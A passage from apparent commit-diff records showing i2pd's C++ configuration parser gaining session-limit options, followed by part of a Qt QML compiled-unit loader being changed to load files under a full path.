family, router belongs to\")\n\t  (\"datadir\",   value<std::string>()->default_value(\"\"),     \"Path to storage of i2pd data (RI, keys, peer profiles, ...)\")\n      (\"host\",      value<std::string>()->default_value(\"0.0.0.0\"),     \"External IP\")\n      (\"port\",      value<uint16_t>()->default_value(0),                \"Port to listen for incoming connections (default: auto)\")\n      (\"ipv4\",      value<bool>()->zero_tokens()->default_value(true),  \"Enable communication through ipv4\")\n      (\"ipv6\",      value<bool>()->zero_tokens()->default_value(false), \"Enable communication through ipv6\")\n      (\"daemon\",    value<bool>()->zero_tokens()->default_value(false), \"Router will go to background after start\")\n      (\"service\",   value<bool>()->zero_tokens()->default_value(false), \"Router will use system folders like '\/var\/lib\/i2pd'\")\n      (\"notransit\", value<bool>()->zero_tokens()->default_value(false), \"Router will not accept transit tunnels at startup\")\n      (\"floodfill\", value<bool>()->zero_tokens()->default_value(false), \"Router will be floodfill\")\n      (\"bandwidth\", value<std::string>()->default_value(\"\"), \"Bandwidth limit: integer in kbps or letters: L (32), O (256), P (2048), X (>9000)\")\n#ifdef _WIN32\n      (\"svcctl\",    value<std::string>()->default_value(\"\"),     \"Windows service management ('install' or 'remove')\")\n      (\"insomnia\", value<bool>()->zero_tokens()->default_value(false), \"Prevent system from sleeping\")\n      (\"close\", value<std::string>()->default_value(\"ask\"), \"Action on close: minimize, exit, ask\") \/\/ TODO: add custom validator or something\n#endif\n      ;\n\n    options_description httpserver(\"HTTP Server options\");\n    httpserver.add_options()\n      (\"http.enabled\",        value<bool>()->default_value(true),               \"Enable or disable webconsole\")\n      (\"http.address\",        value<std::string>()->default_value(\"127.0.0.1\"), \"Webconsole listen address\")\n      (\"http.port\",           value<uint16_t>()->default_value(7070),           \"Webconsole listen port\")\n      ;\n\n    options_description httpproxy(\"HTTP Proxy options\");\n    httpproxy.add_options()\n      (\"httpproxy.enabled\",   value<bool>()->default_value(true),                         \"Enable or disable HTTP Proxy\")\n      (\"httpproxy.address\",   value<std::string>()->default_value(\"127.0.0.1\"),           \"HTTP Proxy listen address\")\n      (\"httpproxy.port\",      value<uint16_t>()->default_value(4444),                     \"HTTP Proxy listen port\")\n      (\"httpproxy.keys\",      value<std::string>()->default_value(\"\"),  \"File to persist HTTP Proxy keys\")\n      ;\n\n    options_description socksproxy(\"SOCKS Proxy options\");\n    socksproxy.add_options()\n      (\"socksproxy.enabled\",  value<bool>()->default_value(true),                         \"Enable or disable SOCKS Proxy\")\n      (\"socksproxy.address\",  value<std::string>()->default_value(\"127.0.0.1\"),           \"SOCKS Proxy listen address\")\n      (\"socksproxy.port\",     value<uint16_t>()->default_value(4447),                     \"SOCKS Proxy listen port\")\n      (\"socksproxy.keys\",     value<std::string>()->default_value(\"\"), \"File to persist SOCKS Proxy keys\")\n      (\"socksproxy.outproxy\", value<std::string>()->default_value(\"127.0.0.1\"), \"Upstream outproxy address for SOCKS Proxy\")\n      (\"socksproxy.outproxyport\", value<uint16_t>()->default_value(9050), \"Upstream outproxy port for SOCKS Proxy\")\n      ;\n\n    options_description sam(\"SAM bridge options\");\n    sam.add_options()\n      (\"sam.enabled\",         value<bool>()->default_value(false),                        \"Enable or disable SAM Application bridge\")\n      (\"sam.address\",         value<std::string>()->default_value(\"127.0.0.1\"),           \"SAM listen address\")\n      (\"sam.port\",            value<uint16_t>()->default_value(7656),                     \"SAM listen port\")\n      ;\n\n    options_description bob(\"BOB options\");\n    bob.add_options()\n      (\"bob.enabled\",         value<bool>()->default_value(false),                        \"Enable or disable BOB command channel\")\n      (\"bob.address\",         value<std::string>()->default_value(\"127.0.0.1\"),           \"BOB listen address\")\n      (\"bob.port\",            value<uint16_t>()->default_value(2827),                     \"BOB listen port\")\n      ;\n\n    options_description i2pcontrol(\"I2PControl options\");\n    i2pcontrol.add_options()\n      (\"i2pcontrol.enabled\",  value<bool>()->default_value(false),                        \"Enable or disable I2P Control Protocol\")\n      (\"i2pcontrol.address\",  value<std::string>()->default_value(\"127.0.0.1\"),           \"I2PCP listen address\")\n      (\"i2pcontrol.port\",     value<uint16_t>()->default_value(7650),                     \"I2PCP listen port\")\n      (\"i2pcontrol.password\", value<std::string>()->default_value(\"itoopie\"),             \"I2PCP access password\")\n      (\"i2pcontrol.cert\",     value<std::string>()->default_value(\"i2pcontrol.crt.pem\"),  \"I2PCP connection cerificate\")\n      (\"i2pcontrol.key\",      value<std::string>()->default_value(\"i2pcontrol.key.pem\"),  \"I2PCP connection cerificate key\")\n      ;\n\n\toptions_description precomputation(\"Precomputation options\");\n\tprecomputation.add_options()  \n\t  (\"precomputation.elgamal\",  \n#if defined(__x86_64__)\t   \n\t   value<bool>()->default_value(false),   \n#else\n\t   value<bool>()->default_value(true),  \n#endif\t   \n\t   \"Enable or disable elgamal precomputation table\")\n\t  ;\n\t  \n    m_OptionsDesc\n      .add(general)\n      .add(httpserver)\n      .add(httpproxy)\n      .add(socksproxy)\n      .add(sam)\n      .add(bob)\n      .add(i2pcontrol)\n\t  .add(precomputation) \t  \n      ;\n  }\n\n  void ParseCmdline(int argc, char* argv[]) {\n    try {\n      auto style = boost::program_options::command_line_style::unix_style\n                 | boost::program_options::command_line_style::allow_long_disguise;\n      style &=   ~ boost::program_options::command_line_style::allow_guessing;\n      store(parse_command_line(argc, argv, m_OptionsDesc, style, old_syntax_parser), m_Options);\n    } catch (boost::program_options::error& e) {\n      std::cerr << \"args: \" << e.what() << std::endl;\n      exit(EXIT_FAILURE);\n    }\n\n    if (m_Options.count(\"help\") || m_Options.count(\"h\")) {\n      std::cout << \"i2pd version \" << I2PD_VERSION << \" (\" << I2P_VERSION << \")\" << std::endl;\n      std::cout << m_OptionsDesc;\n      exit(EXIT_SUCCESS);\n    }\n  }\n\n  void ParseConfig(const std::string& path) {\n    if (path == \"\") return;\n\n    std::ifstream config(path, std::ios::in);\n\n    if (!config.is_open()) \n\t{\n      std::cerr << \"missing\/unreadable config file: \" << path << std::endl;\n      exit(EXIT_FAILURE);\n    }\n\n    try \n\t{\n\t\tstore(boost::program_options::parse_config_file(config, m_OptionsDesc), m_Options);\n    } \n\tcatch (boost::program_options::error& e) \n\t{\n      std::cerr << e.what() << std::endl;\n      exit(EXIT_FAILURE);\n    };\n  }\n\n  void Finalize() {\n    notify(m_Options);\n  }\n\n  bool IsDefault(const char *name) {\n    if (!m_Options.count(name))\n      throw \"try to check non-existent option\";\n\n    if (m_Options[name].defaulted())\n      return true;\n    return false;\n  }\n} \/\/ namespace config\n} \/\/ namespace i2p\n<commit_msg>added some limits options<commit_after>\/*\n* Copyright (c) 2013-2016, The PurpleI2P Project\n*\n* This file is part of Purple i2pd project and licensed under BSD3\n*\n* See full license text in LICENSE file at top of project tree\n*\/\n\n#include <cstdlib>\n#include <iostream>\n#include <fstream>\n#include <map>\n#include <string>\n#include <boost\/program_options\/cmdline.hpp>\n#include <boost\/program_options\/options_description.hpp>\n#include <boost\/program_options\/parsers.hpp>\n#include <boost\/program_options\/variables_map.hpp>\n\n#include \"Config.h\"\n#include \"version.h\"\n\nusing namespace boost::program_options;\n\nnamespace i2p {\nnamespace config {\n  options_description m_OptionsDesc;\n  variables_map       m_Options;\n\n  \/* list of renamed options *\/\n  std::map<std::string, std::string> remapped_options = {\n    { \"tunnelscfg\",          \"tunconf\" },\n    { \"v6\",                  \"ipv6\" },\n    { \"httpaddress\",         \"http.address\" },\n    { \"httpport\",            \"http.port\"    },\n    { \"httpproxyaddress\",    \"httpproxy.address\"  },\n    { \"httpproxyport\",       \"httpproxy.port\"     },\n    { \"socksproxyaddress\",   \"socksproxy.address\" },\n    { \"socksproxyport\",      \"socksproxy.port\"    },\n    { \"samaddress\",          \"sam.address\" },\n    { \"samport\",             \"sam.port\"    },\n    { \"bobaddress\",          \"bob.address\" },\n    { \"bobport\",             \"bob.port\"    },\n    { \"i2pcontroladdress\",   \"i2pcontrol.address\" },\n    { \"i2pcontroladdress\",   \"i2pcontrol.port\"    },\n    { \"proxykeys\",           \"httpproxy.keys\" },\n  };\n  \/* list of options, that loose their argument and become simple switch *\/\n  std::set<std::string> boolean_options = {\n    \"daemon\", \"floodfill\", \"notransit\", \"service\", \"ipv6\"\n  };\n\n  \/* this function is a solid piece of shit, remove it after 2.6.0 *\/\n  std::pair<std::string, std::string> old_syntax_parser(const std::string& s) {\n    std::string name  = \"\";\n    std::string value = \"\";\n    std::size_t pos = 0;\n    \/* shortcuts -- -h *\/\n    if (s.length() == 2 && s.at(0) == '-' && s.at(1) != '-')\n      return make_pair(s.substr(1), \"\");\n    \/* old-style -- -log, \/log, etc *\/\n    if (s.at(0) == '\/' || (s.at(0) == '-' && s.at(1) != '-')) {\n      if ((pos = s.find_first_of(\"= \")) != std::string::npos) {\n        name  = s.substr(1, pos - 1);\n        value = s.substr(pos + 1);\n      } else {\n        name  = s.substr(1, pos);\n        value = \"\";\n      }\n      if (boolean_options.count(name) > 0 && value != \"\")\n        std::cerr << \"args: don't give an argument to switch option: \" << s << std::endl;\n      if (m_OptionsDesc.find_nothrow(name, false)) {\n        std::cerr << \"args: option \" << s << \" style is DEPRECATED, use --\" << name << \" instead\" << std::endl;\n        return std::make_pair(name, value);\n      }\n      if (remapped_options.count(name) > 0) {\n        name = remapped_options[name];\n        std::cerr << \"args: option \" << s << \" is DEPRECATED, use --\" << name << \" instead\" << std::endl;\n        return std::make_pair(name, value);\n      } \/* else *\/\n    }\n    \/* long options -- --help *\/\n    if (s.substr(0, 2) == \"--\") {\n      if ((pos = s.find_first_of(\"= \")) != std::string::npos) {\n        name  = s.substr(2, pos - 2);\n        value = s.substr(pos + 1);\n      } else {\n        name  = s.substr(2, pos);\n        value = \"\";\n      }\n      if (boolean_options.count(name) > 0 && value != \"\") {\n        std::cerr << \"args: don't give an argument to switch option: \" << s << std::endl;\n        value = \"\";\n      }\n      if (m_OptionsDesc.find_nothrow(name, false))\n        return std::make_pair(name, value);\n      if (remapped_options.count(name) > 0) {\n        name = remapped_options[name];\n        std::cerr << \"args: option \" << s << \" is DEPRECATED, use --\" << name << \" instead\" << std::endl;\n        return std::make_pair(name, value);\n      } \/* else *\/\n    }\n    std::cerr << \"args: unknown option -- \" << s << std::endl;\n    return std::make_pair(\"\", \"\");\n  }\n\n  void Init() {\n    options_description general(\"General options\");\n    general.add_options()\n      (\"help\",     \"Show this message\")\n      (\"conf\",      value<std::string>()->default_value(\"\"),     \"Path to main i2pd config file (default: try ~\/.i2pd\/i2pd.conf or \/var\/lib\/i2pd\/i2pd.conf)\")\n      (\"tunconf\",   value<std::string>()->default_value(\"\"),     \"Path to config with tunnels list and options (default: try ~\/.i2pd\/tunnels.conf or \/var\/lib\/i2pd\/tunnels.conf)\")\n      (\"pidfile\",   value<std::string>()->default_value(\"\"),     \"Path to pidfile (default: ~\/i2pd\/i2pd.pid or \/var\/lib\/i2pd\/i2pd.pid)\")\n      (\"log\",       value<std::string>()->default_value(\"\"),     \"Logs destination: stdout, file, syslog (stdout if not set)\")\n      (\"logfile\",   value<std::string>()->default_value(\"\"),     \"Path to logfile (stdout if not set, autodetect if daemon)\")\n      (\"loglevel\",  value<std::string>()->default_value(\"info\"), \"Set the minimal level of log messages (debug, info, warn, error)\")\n\t  (\"family\",    value<std::string>()->default_value(\"\"),     \"Specify a family, router belongs to\")\n\t  (\"datadir\",   value<std::string>()->default_value(\"\"),     \"Path to storage of i2pd data (RI, keys, peer profiles, ...)\")\n      (\"host\",      value<std::string>()->default_value(\"0.0.0.0\"),     \"External IP\")\n      (\"port\",      value<uint16_t>()->default_value(0),                \"Port to listen for incoming connections (default: auto)\")\n      (\"ipv4\",      value<bool>()->zero_tokens()->default_value(true),  \"Enable communication through ipv4\")\n      (\"ipv6\",      value<bool>()->zero_tokens()->default_value(false), \"Enable communication through ipv6\")\n      (\"daemon\",    value<bool>()->zero_tokens()->default_value(false), \"Router will go to background after start\")\n      (\"service\",   value<bool>()->zero_tokens()->default_value(false), \"Router will use system folders like '\/var\/lib\/i2pd'\")\n      (\"notransit\", value<bool>()->zero_tokens()->default_value(false), \"Router will not accept transit tunnels at startup\")\n      (\"floodfill\", value<bool>()->zero_tokens()->default_value(false), \"Router will be floodfill\")\n      (\"bandwidth\", value<std::string>()->default_value(\"\"), \"Bandwidth limit: integer in kbps or letters: L (32), O (256), P (2048), X (>9000)\")\n#ifdef _WIN32\n      (\"svcctl\",    value<std::string>()->default_value(\"\"),     \"Windows service management ('install' or 'remove')\")\n      (\"insomnia\", value<bool>()->zero_tokens()->default_value(false), \"Prevent system from sleeping\")\n      (\"close\", value<std::string>()->default_value(\"ask\"), \"Action on close: minimize, exit, ask\") \/\/ TODO: add custom validator or something\n#endif\n      ;\n    options_description limits(\"Limits options\");\n    limits.add_options()\n      (\"limits.transit\",   value<uint16_t>()->default_value(2500), \"Maximum active transit sessions (default:2500)\")\n      (\"limits.router\",    value<uint16_t>()->default_value(4096), \"Maximum active router sessions (default:4096)\")\n      (\"limits.client\",    value<uint16_t>()->default_value(1024), \"Maximum active client sessions (default:1024)\")\n      (\"limits.floodfill\", value<uint16_t>()->default_value(1024), \"Maximum active floodfill sessions (default:1024)\")\n      ;\n\n    options_description httpserver(\"HTTP Server options\");\n    httpserver.add_options()\n      (\"http.enabled\",        value<bool>()->default_value(true),               \"Enable or disable webconsole\")\n      (\"http.address\",        value<std::string>()->default_value(\"127.0.0.1\"), \"Webconsole listen address\")\n      (\"http.port\",           value<uint16_t>()->default_value(7070),           \"Webconsole listen port\")\n      ;\n\n    options_description httpproxy(\"HTTP Proxy options\");\n    httpproxy.add_options()\n      (\"httpproxy.enabled\",   value<bool>()->default_value(true),                         \"Enable or disable HTTP Proxy\")\n      (\"httpproxy.address\",   value<std::string>()->default_value(\"127.0.0.1\"),           \"HTTP Proxy listen address\")\n      (\"httpproxy.port\",      value<uint16_t>()->default_value(4444),                     \"HTTP Proxy listen port\")\n      (\"httpproxy.keys\",      value<std::string>()->default_value(\"\"),  \"File to persist HTTP Proxy keys\")\n      ;\n\n    options_description socksproxy(\"SOCKS Proxy options\");\n    socksproxy.add_options()\n      (\"socksproxy.enabled\",  value<bool>()->default_value(true),                         \"Enable or disable SOCKS Proxy\")\n      (\"socksproxy.address\",  value<std::string>()->default_value(\"127.0.0.1\"),           \"SOCKS Proxy listen address\")\n      (\"socksproxy.port\",     value<uint16_t>()->default_value(4447),                     \"SOCKS Proxy listen port\")\n      (\"socksproxy.keys\",     value<std::string>()->default_value(\"\"), \"File to persist SOCKS Proxy keys\")\n      (\"socksproxy.outproxy\", value<std::string>()->default_value(\"127.0.0.1\"), \"Upstream outproxy address for SOCKS Proxy\")\n      (\"socksproxy.outproxyport\", value<uint16_t>()->default_value(9050), \"Upstream outproxy port for SOCKS Proxy\")\n      ;\n\n    options_description sam(\"SAM bridge options\");\n    sam.add_options()\n      (\"sam.enabled\",         value<bool>()->default_value(false),                        \"Enable or disable SAM Application bridge\")\n      (\"sam.address\",         value<std::string>()->default_value(\"127.0.0.1\"),           \"SAM listen address\")\n      (\"sam.port\",            value<uint16_t>()->default_value(7656),                     \"SAM listen port\")\n      ;\n\n    options_description bob(\"BOB options\");\n    bob.add_options()\n      (\"bob.enabled\",         value<bool>()->default_value(false),                        \"Enable or disable BOB command channel\")\n      (\"bob.address\",         value<std::string>()->default_value(\"127.0.0.1\"),           \"BOB listen address\")\n      (\"bob.port\",            value<uint16_t>()->default_value(2827),                     \"BOB listen port\")\n      ;\n\n    options_description i2pcontrol(\"I2PControl options\");\n    i2pcontrol.add_options()\n      (\"i2pcontrol.enabled\",  value<bool>()->default_value(false),                        \"Enable or disable I2P Control Protocol\")\n      (\"i2pcontrol.address\",  value<std::string>()->default_value(\"127.0.0.1\"),           \"I2PCP listen address\")\n      (\"i2pcontrol.port\",     value<uint16_t>()->default_value(7650),                     \"I2PCP listen port\")\n      (\"i2pcontrol.password\", value<std::string>()->default_value(\"itoopie\"),             \"I2PCP access password\")\n      (\"i2pcontrol.cert\",     value<std::string>()->default_value(\"i2pcontrol.crt.pem\"),  \"I2PCP connection cerificate\")\n      (\"i2pcontrol.key\",      value<std::string>()->default_value(\"i2pcontrol.key.pem\"),  \"I2PCP connection cerificate key\")\n      ;\n\n\toptions_description precomputation(\"Precomputation options\");\n\tprecomputation.add_options()  \n\t  (\"precomputation.elgamal\",  \n#if defined(__x86_64__)\t   \n\t   value<bool>()->default_value(false),   \n#else\n\t   value<bool>()->default_value(true),  \n#endif\t   \n\t   \"Enable or disable elgamal precomputation table\")\n\t  ;\n\t  \n    m_OptionsDesc\n      .add(general)\n      .add(httpserver)\n      .add(httpproxy)\n      .add(socksproxy)\n      .add(sam)\n      .add(bob)\n      .add(i2pcontrol)\n\t  .add(precomputation) \t  \n      ;\n  }\n\n  void ParseCmdline(int argc, char* argv[]) {\n    try {\n      auto style = boost::program_options::command_line_style::unix_style\n                 | boost::program_options::command_line_style::allow_long_disguise;\n      style &=   ~ boost::program_options::command_line_style::allow_guessing;\n      store(parse_command_line(argc, argv, m_OptionsDesc, style, old_syntax_parser), m_Options);\n    } catch (boost::program_options::error& e) {\n      std::cerr << \"args: \" << e.what() << std::endl;\n      exit(EXIT_FAILURE);\n    }\n\n    if (m_Options.count(\"help\") || m_Options.count(\"h\")) {\n      std::cout << \"i2pd version \" << I2PD_VERSION << \" (\" << I2P_VERSION << \")\" << std::endl;\n      std::cout << m_OptionsDesc;\n      exit(EXIT_SUCCESS);\n    }\n  }\n\n  void ParseConfig(const std::string& path) {\n    if (path == \"\") return;\n\n    std::ifstream config(path, std::ios::in);\n\n    if (!config.is_open()) \n\t{\n      std::cerr << \"missing\/unreadable config file: \" << path << std::endl;\n      exit(EXIT_FAILURE);\n    }\n\n    try \n\t{\n\t\tstore(boost::program_options::parse_config_file(config, m_OptionsDesc), m_Options);\n    } \n\tcatch (boost::program_options::error& e) \n\t{\n      std::cerr << e.what() << std::endl;\n      exit(EXIT_FAILURE);\n    };\n  }\n\n  void Finalize() {\n    notify(m_Options);\n  }\n\n  bool IsDefault(const char *name) {\n    if (!m_Options.count(name))\n      throw \"try to check non-existent option\";\n\n    if (m_Options[name].defaulted())\n      return true;\n    return false;\n  }\n} \/\/ namespace config\n} \/\/ namespace i2p\n<|endoftext|>"}
{"text":"<commit_before>\/*!\n * Copyright (C) 2014 Nomovok Ltd. All rights reserved.\n * Contact: info@nomovok.com\n *\n * This file may be used under the terms of the GNU Lesser\n * General Public License version 2.1 as published by the Free Software\n * Foundation and appearing in the file LICENSE.LGPL included in the\n * packaging of this file.  Please review the following information to\n * ensure the GNU Lesser General Public License version 2.1 requirements\n * will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n *\n * In addition, as a special exception, copyright holders\n * give you certain additional rights.  These rights are described in\n * the Digia Qt LGPL Exception version 1.1, included in the file\n * LGPL_EXCEPTION.txt in this package.\n *\/\n\n#include <QQmlEngine>\n#include <QMap>\n\n#include <QQmlComponent>\n\n#include <private\/qv4isel_moth_p.h>\n#include <private\/qobject_p.h>\n#include <private\/qqmlcompiler_p.h>\n#include <private\/qqmlcomponent_p.h>\n#include <private\/qv4compileddata_p.h>\n\n#include \"qmcloader.h\"\n#include \"qmcfile.h\"\n#include \"qmcunit.h\"\n#include \"qmctypeunit.h\"\n\nstatic int DEPENDENCY_MAX_RECURSION_DEPTH = 10;\n\nclass QmcLoaderPrivate : public QObjectPrivate\n{\n    Q_DECLARE_PUBLIC(QmcLoader)\npublic:\n    QmcLoaderPrivate(QQmlEngine *engine);\n    virtual ~QmcLoaderPrivate();\n    QQmlEngine *engine;\n    QList<QQmlError> errors;\n    QmcTypeUnit* unit;\n    QMap<QString, QmcUnit *> dependencies;\n    bool loadDependenciesAutomatically;\n    int dependencyRecursionDepth;\n};\n\nQmcLoaderPrivate::QmcLoaderPrivate(QQmlEngine *engine)\n    : engine(engine),\n      unit(NULL),\n      loadDependenciesAutomatically(true),\n      dependencyRecursionDepth(0)\n{\n}\n\nQmcLoaderPrivate::~QmcLoaderPrivate()\n{\n    if (unit)\n        unit->release();\n\n    foreach (QmcUnit *unit, dependencies) {\n        unit->blob->release();\n    }\n    dependencies.clear();\n}\n\nQmcLoader::QmcLoader(QQmlEngine *engine, QObject *parent) :\n    QObject(*(new QmcLoaderPrivate(engine)), parent)\n{\n}\n\nQQmlComponent *QmcLoader::loadComponent(const QString &file)\n{\n    QFile f(file);\n    if (!f.open(QFile::ReadOnly)) {\n        QQmlError error;\n        error.setDescription(\"Could not open file for reading\");\n        appendError(error);\n        return NULL;\n    }\n\n    QDataStream in(&f);\n    QQmlComponent *ret = loadComponent(in, createLoadedUrl(file));\n    f.close();\n    return ret;\n}\n\nQQmlComponent *QmcLoader::loadComponent(QDataStream &stream, const QUrl &loadedUrl)\n{\n    clearError();\n    Q_D(QmcLoader);\n    \/\/ TBD: check validity of all read values\n    QmcUnit *unit = QmcUnit::loadUnit(stream, d->engine, this, loadedUrl);\n    if (!unit) {\n        QQmlError error;\n        error.setDescription(\"Error parsing \/ loading\");\n        appendError(error);\n        return NULL;\n    }\n\n    \/\/ replace with loaded url cause we aren't always loading from the same\n    \/\/ directories as we compiled\n    unit->url = loadedUrl;\n    unit->urlString = loadedUrl.toString();\n\n    if (unit->type != QMC_QML) {\n        QQmlError error;\n        error.setDescription(\"Cannot have Script unit as main unit\");\n        appendError(error);\n        unit->blob->release();\n        return NULL;\n    }\n\n    QmcTypeUnit *typeUnit = (QmcTypeUnit *)unit->blob;\n\n    \/\/ add to engine\n    if (!typeUnit->link()) {\n        appendErrors(unit->errors);\n        unit->blob->release();\n        return NULL;\n    }\n\n    \/\/ create QQmlComponent and attach QQmlCompiledData into it\n    QQmlComponent *component = typeUnit->createComponent();\n    if (!component) {\n        QQmlError error;\n        error.setDescription(\"Error creating QQmlComponent\");\n        error.setUrl(unit->url);\n        appendError(error);\n        unit->blob->release();\n        return NULL;\n    }\n\n    \/\/ TBD: where to put unit\n    d->unit = typeUnit;\n    d->unit->addref();\n\n    return component;\n}\n\nvoid QmcLoader::setLoadDependenciesAutomatically(bool load)\n{\n    Q_D(QmcLoader);\n    d->loadDependenciesAutomatically = load;\n}\n\nbool QmcLoader::isLoadDependenciesAutomatically() const\n{\n    const Q_D(QmcLoader);\n    return d->loadDependenciesAutomatically;\n}\n\nQUrl QmcLoader::createLoadedUrl(const QString &file)\n{\n    QString urlStr;\n    if (file.startsWith(\":\/\"))\n        urlStr = \"qrc:\";\n    else\n        urlStr = \"file:\";\n    urlStr.append(file);\n    return QUrl(urlStr);\n}\n\nQString QmcLoader::getBaseUrl(const QUrl &url)\n{\n    QString path = url.path();\n    QUrl newUrl(url);\n    int lastSlash = path.lastIndexOf('\/');\n    if (lastSlash != -1) {\n        path = path.left(lastSlash + 1);\n        newUrl.setPath(path);\n    } else {\n        newUrl.setPath(\"\");\n    }\n    return newUrl.toString();\n}\n\nQmcUnit *QmcLoader::getUnit(const QString &url)\n{\n    Q_D(QmcLoader);\n    QString precompiled = precompiledUrl(url);\n    if (!d->dependencies.contains(precompiled)) {\n        if (d->loadDependenciesAutomatically) {\n            \/\/ try to load it\n            if (d->dependencyRecursionDepth >= DEPENDENCY_MAX_RECURSION_DEPTH) {\n                QQmlError error;\n                error.setDescription(\"Could not load dependency, too deep recursion\");\n                error.setUrl(url);\n                appendError(error);\n                return NULL;\n            }\n            d->dependencyRecursionDepth++;\n            QmcUnit *unit = doloadDependency(precompiled);\n            d->dependencyRecursionDepth--;\n            return unit;\n        } else\n        return NULL;\n    }\n    return d->dependencies[precompiled];\n}\n\nQString QmcLoader::precompiledUrl(const QString &url)\n{\n    QString urlString = url;\n    if (url.endsWith(\".js\"))\n        urlString.append(\"c\");\n    else if (url.endsWith(\".qml\"))\n        urlString[urlString.length() - 1] = 'c';\n    return urlString;\n}\n\nQmcScriptUnit *QmcLoader::getScript(const QString &url, const QUrl &loaderUrl)\n{\n    QString newUrl;\n    if(url.startsWith(\"file:\")){\n        newUrl = url;\n    }else{\n        newUrl = getBaseUrl(loaderUrl);\n        newUrl.append(url);\n    }\n\n    QmcUnit *unit = getUnit(newUrl);\n    if (!unit)\n        return NULL;\n    if (unit->type != QMC_JS)\n        return NULL;\n    unit->blob->addref();\n    return (QmcScriptUnit *)unit->blob;\n}\n\nQmcUnit *QmcLoader::getType(const QString &name, const QUrl &loaderUrl)\n{\n    qDebug() << \"Getting type name = \" << name << \"loaderUrl =\" << loaderUrl;\n\n    QString newUrl;\n    if(name.startsWith(\"file:\/\/\")){\n        newUrl = name;\n        newUrl.append(\".qml\");\n    }else{\n        newUrl = getBaseUrl(loaderUrl);\n        newUrl.append(name);\n        newUrl.append(\".qml\");\n    }\n\n    QmcUnit *unit = getUnit(newUrl);\n    if (!unit)\n        return NULL;\n    if (unit->type != QMC_QML)\n        return NULL;\n    unit->blob->addref();\n    return unit;\n}\n\nbool QmcLoader::loadDependency(QDataStream &stream, const QUrl &loadedUrl)\n{\n    clearError();\n    QmcUnit *unit = doloadDependency(stream, loadedUrl);\n    unit->blob->release();\n    return true;\n}\n\nbool QmcLoader::loadDependency(const QString &file)\n{\n    clearError();\n    QFile f(file);\n    if (!f.open(QFile::ReadOnly)) {\n        QQmlError error;\n        error.setDescription(\"Could not open file for reading\");\n        appendError(error);\n        return NULL;\n    }\n\n    QDataStream in(&f);\n    QmcUnit *unit = doloadDependency(in, createLoadedUrl(file));\n    unit->blob->release();\n    f.close();\n    return true;\n}\n\nQmcUnit *QmcLoader::doloadDependency(const QString &url)\n{\n    QUrl u(url);\n    QString file = u.toLocalFile();\n    QFile f(file);\n    if (!f.open(QFile::ReadOnly)) {\n        QQmlError error;\n        error.setDescription(\"Could not open file for reading: \" + f.errorString());\n        qWarning() << \"Could not open file for reading\" << file;\n        error.setUrl(QUrl(file));\n        qDebug() << \"Cannot open\" << file;\n        appendError(error);\n        return NULL;\n    }\n\n    QDataStream in(&f);\n    const QUrl loadAs = createLoadedUrl(file);\n    qDebug() << \"Loading dependency\" << url << \"as\" << loadAs;\n    QmcUnit *unit = doloadDependency(in, loadAs);\n    f.close();\n    return unit;\n}\n\nQmcUnit *QmcLoader::doloadDependency(QDataStream &stream, const QUrl &loadedUrl)\n{\n    Q_D(QmcLoader);\n    QmcUnit *unit = QmcUnit::loadUnit(stream, d->engine, this, loadedUrl);\n    if (!unit) {\n        QQmlError error;\n        error.setDescription(\"Error loading\");\n        appendError(error);\n        return NULL;\n    }\n\n    \/\/ add to dependencies\n    d->dependencies[unit->loadedUrl.toString()] = unit;\n    unit->blob->addref();\n    return unit;\n}\n\nconst QList<QQmlError>& QmcLoader::errors() const\n{\n    const Q_D(QmcLoader);\n    return d->errors;\n}\n\nvoid QmcLoader::clearError() {\n    Q_D(QmcLoader);\n    d->errors.clear();\n}\n\nvoid QmcLoader::appendError(QQmlError error)\n{\n    Q_D(QmcLoader);\n    d->errors.append(error);\n}\n\nvoid QmcLoader::appendErrors(const QList<QQmlError> &errors)\n{\n    Q_D(QmcLoader);\n    d->errors.append(errors);\n}\n<commit_msg>Load under full path to fix assert.<commit_after>\/*!\n * Copyright (C) 2014 Nomovok Ltd. All rights reserved.\n * Contact: info@nomovok.com\n *\n * This file may be used under the terms of the GNU Lesser\n * General Public License version 2.1 as published by the Free Software\n * Foundation and appearing in the file LICENSE.LGPL included in the\n * packaging of this file.  Please review the following information to\n * ensure the GNU Lesser General Public License version 2.1 requirements\n * will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n *\n * In addition, as a special exception, copyright holders\n * give you certain additional rights.  These rights are described in\n * the Digia Qt LGPL Exception version 1.1, included in the file\n * LGPL_EXCEPTION.txt in this package.\n *\/\n\n#include <QQmlEngine>\n#include <QMap>\n#include <QDir>\n\n#include <QQmlComponent>\n\n#include <private\/qv4isel_moth_p.h>\n#include <private\/qobject_p.h>\n#include <private\/qqmlcompiler_p.h>\n#include <private\/qqmlcomponent_p.h>\n#include <private\/qv4compileddata_p.h>\n\n#include \"qmcloader.h\"\n#include \"qmcfile.h\"\n#include \"qmcunit.h\"\n#include \"qmctypeunit.h\"\n\nstatic int DEPENDENCY_MAX_RECURSION_DEPTH = 10;\n\nclass QmcLoaderPrivate : public QObjectPrivate\n{\n    Q_DECLARE_PUBLIC(QmcLoader)\npublic:\n    QmcLoaderPrivate(QQmlEngine *engine);\n    virtual ~QmcLoaderPrivate();\n    QQmlEngine *engine;\n    QList<QQmlError> errors;\n    QmcTypeUnit* unit;\n    QMap<QString, QmcUnit *> dependencies;\n    bool loadDependenciesAutomatically;\n    int dependencyRecursionDepth;\n};\n\nQmcLoaderPrivate::QmcLoaderPrivate(QQmlEngine *engine)\n    : engine(engine),\n      unit(NULL),\n      loadDependenciesAutomatically(true),\n      dependencyRecursionDepth(0)\n{\n}\n\nQmcLoaderPrivate::~QmcLoaderPrivate()\n{\n    if (unit)\n        unit->release();\n\n    foreach (QmcUnit *unit, dependencies) {\n        unit->blob->release();\n    }\n    dependencies.clear();\n}\n\nQmcLoader::QmcLoader(QQmlEngine *engine, QObject *parent) :\n    QObject(*(new QmcLoaderPrivate(engine)), parent)\n{\n}\n\nQQmlComponent *QmcLoader::loadComponent(const QString &file)\n{\n    QFile f(file);\n    if (!f.open(QFile::ReadOnly)) {\n        QQmlError error;\n        error.setDescription(\"Could not open file for reading\");\n        appendError(error);\n        return NULL;\n    }\n\n    QDataStream in(&f);\n    QQmlComponent *ret = loadComponent(in, createLoadedUrl(file));\n    f.close();\n    return ret;\n}\n\nQQmlComponent *QmcLoader::loadComponent(QDataStream &stream, const QUrl &loadedUrl)\n{\n    clearError();\n    Q_D(QmcLoader);\n    \/\/ TBD: check validity of all read values\n    QmcUnit *unit = QmcUnit::loadUnit(stream, d->engine, 